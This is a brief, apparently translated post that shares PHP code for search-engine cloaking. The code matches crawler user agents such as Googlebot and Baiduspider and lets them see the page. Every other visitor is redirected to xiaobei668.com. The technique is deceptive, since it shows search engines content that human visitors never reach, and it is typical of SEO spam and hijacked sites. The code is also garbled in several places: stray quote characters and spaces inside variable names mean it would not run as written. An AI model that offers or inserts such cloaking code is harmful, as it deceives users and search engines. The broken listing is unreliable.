Sometimes the content we display is for search engines, and many users do not need to see it, so I will share the php code below. The spider will crawl it normally, and the user will transfer the specified page code when visiting
- $ v = false;
- $tmp = $_SERVER['HTTP_USER_AGENT'];
- if(strpos($tmp, 'Googlebot') !== false){
- $v = true;
- } else if(strpos ($tmp, 'Baiduspider') >0){
- //echo 'Baidu';
- $v = true;
- } else if(strpos($tmp, 'Yahoo! Slurp') !== false ){
- //echo 'Yahoo';
- ' $v = true;
- } else if(strpos($tmp, 'msnbot') !== false){
- //echo 'Msn';
- $v = true;
- } else if(strpos($tmp, 'Sosospider') !== false){
- //echo 'Sosospider';
- $v = true;
- } else if(strpos ($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
- //echo 'Youdao';
- $v = true;
- } else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
- //echo 'Sogou';
- $v = true;
- } else if(strpos($tmp, 'fast-webcrawler') !== false){
- //echo 'Alltheweb';
- $v = true;
- } else if(strpos($ tmp, 'Gaisbot') !== false){
- //echo 'Gais';
- $v = true;
- } else if(strpos($tmp, 'ia_archiver') !== false){
- //echo 'Alexa';
- ' $v = true;
- } else if(strpos($tmp, 'altavista') !== false){
- //echo 'AltaVista';
- ' $v = true;
- } else if(strpos($tmp, 'lycos_spider') !== false){
- //echo 'Lycos';
- $v = true;
- } else if(strpos($tmp, 'Inktomi slurp') !== false){
- //echo 'Inktomi';
- $v = true;
- }
- if($v != true){
- header("Location: http://www.xiaobei668.com");
- }
- ?>
Copy code
|
Search engine, Baidu, Soso, false